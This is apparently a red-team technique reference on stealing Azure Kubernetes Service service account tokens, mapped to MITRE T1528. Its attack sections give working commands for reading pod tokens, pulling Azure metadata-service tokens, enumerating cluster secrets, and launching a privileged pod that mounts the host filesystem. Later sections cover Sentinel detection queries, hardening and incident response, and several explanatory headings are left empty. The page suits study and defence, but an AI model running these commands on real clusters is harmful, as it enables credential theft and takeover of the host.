MCADDF

[LM-AUTH-030]: AKS Service Account Token Theft

1. Metadata

Attribute Details
Technique ID LM-AUTH-030
MITRE ATT&CK v18.1 T1528 - Steal Application Access Token
Tactic Credential Access / Lateral Movement
Platforms Entra ID, Azure Kubernetes Service (AKS)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Kubernetes 1.18+, AKS all versions
Patched In N/A (Requires configuration hardening)
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.1.5 Ensure that default service accounts are not actively used
CIS Benchmark 5.2.2 Minimize the admission of containers wishing to share the host IPC namespace
DISA STIG V-254380 Disable automounting of service account tokens
CISA SCuBA Configuration E.1 Disable automatic service account token mounting
NIST 800-53 AC-3 Access Enforcement
NIST 800-53 SC-7 Boundary Protection
GDPR Art. 32 Security of Processing
DORA Art. 9 Protection and Prevention of Threats
NIS2 Art. 21 Cyber Risk Management Measures
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Risk Scenario Compromise of Container Orchestration Platform

3. Detailed Execution Methods

METHOD 1: Direct Token Extraction from Pod Filesystem (Container Compromise)

Supported Versions: Kubernetes 1.18+, AKS all versions (default configuration)

Step 1: Achieve Pod Compromise

Objective: Gain shell access to a running container within the AKS cluster.

Prerequisite Tactics:

Command (Linux Container):

# Assuming you have shell access to the container via RCE, kubectl exec, or docker exec
# List the mounted service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Expected Output:

eyJhbGciOiJSUzI1NiIsImtpZCI6IklGMWZzYWRmN2R...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Extract KUBELET Bootstrap Token (AKS-Specific)

Objective: In AKS, pods sharing the host network namespace can access the Azure WireServer metadata service, which provides bootstrap tokens with elevated privileges.

Version Note: This technique is specific to Azure Kubernetes Service (AKS). It does NOT work on GKE or self-managed Kubernetes clusters.

Command (Host Network Pod):

# From within a pod with hostNetwork: true
curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com" \
  -H "Metadata:true" | jq '.access_token' -r

# Alternatively, query for the bootstrap token (if accessible)
curl -s "http://168.63.129.16/metadata/instance?api-version=2021-02-01" \
  -H "Metadata:true" | jq .

Expected Output:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjE4MjcyMjJkO...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Use Token to Query Kubernetes API

Objective: Authenticate to the Kubernetes API server using the stolen token to enumerate cluster resources and exfiltrate sensitive data.

Command (From Compromised Pod or External Machine):

# Set the token variable
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc.cluster.local:443

# Test connectivity to the API server
curl -k -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces

# List all pods in the current namespace
curl -k -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)/pods

# Attempt to list secrets
curl -k -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)/secrets

# If service account has cluster-wide permissions, enumerate all secrets across namespaces
curl -k -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/secrets

Expected Output:

{
  "apiVersion": "v1",
  "items": [
    {
      "apiVersion": "v1",
      "data": {
        "password": "c3VwZXJzZWNyZXQxMjM=",
        "username": "YWRtaW4="
      },
      "kind": "Secret",
      "metadata": {
        "name": "db-credentials",
        "namespace": "default"
      },
      "type": "Opaque"
    }
  ],
  "kind": "SecretList",
  "metadata": {
    "resourceVersion": "123456"
  }
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Create Privileged Pod for Cluster Escalation (Optional)

Objective: Use API access to create a new pod with elevated privileges (if service account has pod creation permission), enabling further escalation or persistence.

Command (Using stolen token):

# Create a malicious pod spec
cat > /tmp/evil-pod.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privilege-escalation-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: shell
    image: ubuntu:22.04
    securityContext:
      privileged: true
      runAsUser: 0
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Submit the pod using the stolen token
curl -k -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/yaml" \
  -d @/tmp/evil-pod.yaml \
  https://kubernetes.default.svc.cluster.local:443/api/v1/namespaces/default/pods

# Exec into the pod (if you have pod creation permissions, you likely have exec permissions)
curl -k -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -N -T /dev/stdin \
  "https://kubernetes.default.svc.cluster.local:443/api/v1/namespaces/default/pods/privilege-escalation-pod/exec?command=bash&stdin=true&stdout=true&stderr=true&tty=true"

Expected Output:

pod/privilege-escalation-pod created
# Interactive shell access to the host filesystem
root@privilege-escalation-pod:/#

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Using kubectl with Stolen Token

Supported Versions: Kubernetes 1.18+, all versions

Step 1: Configure kubectl Context with Stolen Token

Objective: Set up a local kubectl client to use the stolen token for authentication, enabling command-line interaction with the cluster.

Command:

# Extract the token from the pod
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export API_SERVER="https://kubernetes.default.svc.cluster.local:443"
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Create a kubeconfig file with the stolen token
cat > /tmp/kubeconfig <<EOF
apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJ... # (Base64-encoded CA cert)
    server: https://your-aks-cluster.hcp.eastus.azmk8s.io:443
  name: your-aks-cluster
contexts:
- context:
    cluster: your-aks-cluster
    namespace: $NAMESPACE
    user: service-account
  name: default
current-context: default
users:
- name: service-account
  user:
    token: $TOKEN
EOF

# Use the kubeconfig to interact with the cluster
export KUBECONFIG=/tmp/kubeconfig
kubectl get pods
kubectl get secrets
kubectl exec -it <pod-name> -- /bin/bash

Expected Output:

NAME                    READY   STATUS    RESTARTS   AGE
my-application-7d9f8c   1/1     Running   0          2d
database-pod-5c8b6f     1/1     Running   1          5d

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 3: Exploiting Bootstrap Tokens in AKS (Advanced)

Supported Versions: AKS (Azure Kubernetes Service) running Kubernetes 1.18+

Step 1: Access Azure WireServer for Bootstrap Token

Objective: In AKS environments, retrieve a bootstrap token with elevated privileges from the Azure Instance Metadata Service.

Prerequisite: The pod must be running with hostNetwork: true to access the metadata service.

Command:

# Query the Azure Instance Metadata Service
WIRESERVER="http://168.63.129.16/"
IMDS_TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com" | jq -r '.access_token')

# Decode and inspect the token (JWT structure)
echo $IMDS_TOKEN | cut -d'.' -f2 | base64 -d | jq .

# Use the token to access Azure resources
curl -s -H "Authorization: Bearer $IMDS_TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

Expected Output:

{
  "aud": "https://management.azure.com",
  "iss": "https://sts.windows.net/12345678-1234-1234-1234-123456789012/",
  "iat": 1234567890,
  "nbf": 1234567890,
  "exp": 1234571490,
  "aio": "E2RgYIg/12345+abcde/ABCD==",
  "appid": "00000000-0000-0000-0000-000000000000",
  "appidacr": "2",
  "idp": "https://sts.windows.net/12345678-1234-1234-1234-123456789012/",
  "oid": "87654321-4321-4321-4321-210987654321",
  "rh": "0.ARoA1234567...",
  "sub": "87654321-4321-4321-4321-210987654321",
  "tid": "12345678-1234-1234-1234-123456789012",
  "uti": "abcdefghijklmnop",
  "ver": "1.0"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


4. Attack Simulation & Verification (Atomic Red Team)

Atomic Red Team Test for T1528

Command (Atomic Simulation):

# Simulate a compromised pod environment
docker run --rm -v $HOME/.kube:/root/.kube ubuntu:22.04 bash -c '
  # Extract token from volume mount (simulating token theft)
  TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo "token-not-mounted")
  echo "Stolen Token: $TOKEN"
  
  # Attempt API access
  curl -k -s -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc.cluster.local:443/api/v1/namespaces 2>&1 | head -20
'

Reference:


5. Tools & Commands Reference

Peirates

Version: 1.1.8+
Minimum Version: 1.0
Supported Platforms: Linux, macOS, Windows (WSL)
URL: https://github.com/inguardians/peirates

Installation:

git clone https://github.com/inguardians/peirates.git
cd peirates
go build -o peirates main.go
./peirates --help

Usage:

# Run Peirates in interactive mode
./peirates

# List available service account tokens
> available_pods
> steal_token
> kubectl_commands

kubectl

Version: v1.28+
Minimum Version: v1.18
Supported Platforms: All (Linux, macOS, Windows)
URL: https://kubernetes.io/docs/tasks/tools/

Installation:

# macOS
brew install kubectl

# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
sudo mv kubectl /usr/local/bin/

# Windows
choco install kubernetes-cli

Usage:

# Set kubeconfig with stolen token
export KUBECONFIG=/tmp/kubeconfig
kubectl get pods
kubectl get secrets
kubectl exec -it <pod> -- /bin/bash

curl (with Authentication Headers)

Version: 7.0+
Installation: Typically pre-installed on Linux/macOS; available for Windows

Usage:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc.cluster.local:443/api/v1/namespaces

6. Microsoft Sentinel Detection

Query 1: Unusual Kubernetes API Access using Service Account Token

Rule Configuration:

KQL Query:

KubeAudit
| where verb in ("get", "list") and objectRef.resource == "secrets"
| where username has "system:serviceaccount"
| where sourceIPs != "10.0.0.0/8" and sourceIPs != "172.16.0.0/12"  // Exclude internal cluster IPs
| summarize count() by username, objectRef.namespace, sourceIPs
| where count_ > 5  // Threshold: more than 5 secret list operations
| project-reorder username, objectRef_namespace=objectRef.namespace, sourceIPs, count_

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Unusual Kubernetes Secret Enumeration via Service Account Token
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 24 hours
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Unusual Kubernetes Secret Enumeration" `
  -Query @"
KubeAudit | where verb in ("get", "list") and objectRef.resource == "secrets"
| where username has "system:serviceaccount"
| where sourceIPs != "10.0.0.0/8" and sourceIPs != "172.16.0.0/12"
| summarize count() by username, objectRef.namespace, sourceIPs
| where count_ > 5
"@ `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Sentinel Kubernetes Monitoring


Query 2: Service Account Token Extraction Attempts

Rule Configuration:

KQL Query:

ContainerProcessEvents
| where process.name in ("cat", "dd", "cp") 
  and process.commandLine has "/var/run/secrets/kubernetes.io/serviceaccount/token"
| project TimeGenerated, ContainerName=containerName, Process=process.name, Command=process.commandLine
| join kind=inner (
  KubeAudit | where verb == "exec" and objectRef.resource == "pods"
) on $left.ContainerName == $right.objectRef.name

What This Detects:

Source: Microsoft Defender for Containers Detection


7. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if service account token auto-mounting is disabled for a pod
kubectl get pod <pod-name> -o jsonpath='{.spec.automountServiceAccountToken}'
# Expected output: false

# Verify audit logging is enabled
az aks show --name <cluster-name> --resource-group <resource-group> --query addonProfiles.omsagent.enabled
# Expected output: true

# Verify network policies are in place
kubectl get networkpolicies --all-namespaces
# Expected output: List of network policies

What to Look For:


8. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (Immediate): Command:
    # Delete the compromised pod
    kubectl delete pod <compromised-pod> --namespace <namespace> --grace-period=0 --force
       
    # Block the service account (revoke credentials)
    kubectl delete serviceaccount <sa-name> --namespace <namespace>
    

    Manual (Azure Portal):

    • Go to AKS ClusterWorkloadsPods
    • Select the compromised pod → Delete
  2. Collect Evidence (First Hour): Command:
    # Export pod logs
    kubectl logs <compromised-pod> --namespace <namespace> > /evidence/pod-logs.txt
       
    # Export audit logs
    az aks get-credentials --name <cluster-name> --resource-group <resource-group>
    kubectl get events --namespace <namespace> --sort-by='.lastTimestamp' > /evidence/events.txt
       
    # Collect Azure diagnostic logs
    az monitor log-analytics query --workspace-id <workspace-id> \
      --analytics-query "KubeAudit | where username has '<service-account>' | project TimeGenerated, verb, objectRef, sourceIPs"
    

    Manual:

    • Open Azure PortalLog Analytics WorkspacesLogs
    • Run KQL query to export audit logs
    • Download and preserve logs for forensic analysis
  3. Remediate (Within 24 Hours): Command:
    # Revoke all tokens for the affected service account
    kubectl delete secret -l serviceaccount=<sa-name> --namespace <namespace>
       
    # Reset the service account
    kubectl delete serviceaccount <sa-name> --namespace <namespace>
    kubectl create serviceaccount <sa-name> --namespace <namespace>
       
    # Re-bind RBAC roles if needed
    kubectl create rolebinding <rb-name> --clusterrole=<role> --serviceaccount=<namespace>:<sa-name>
    

    Manual:

    • Go to AKS ClusterWorkloadsService Accounts
    • Delete the compromised service account
    • Recreate with restricted permissions

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-004] Kubelet API Unauthorized Access Attacker gains access to exposed Kubernetes API or container
2 Persistence [LM-AUTH-030] AKS Service Account Token Theft Current Step: Token extracted from pod filesystem
3 Lateral Movement [LM-AUTH-031] Container Registry Cross-Registry Token used to access ACR in different tenant
4 Impact [LM-AUTH-032] Function App Identity Hopping Token used to chain to Azure Function App identity
5 Impact Data Exfiltration via Stolen Credentials Secrets and data extracted using escalated permissions

10. Real-World Examples

Example 1: Capital One Cloud Breach (2019)

Example 2: Tesla Kubernetes Cluster Compromise (2018)

Example 3: Shopify GKE Workload Identity Attack (2018)


Metadata Notes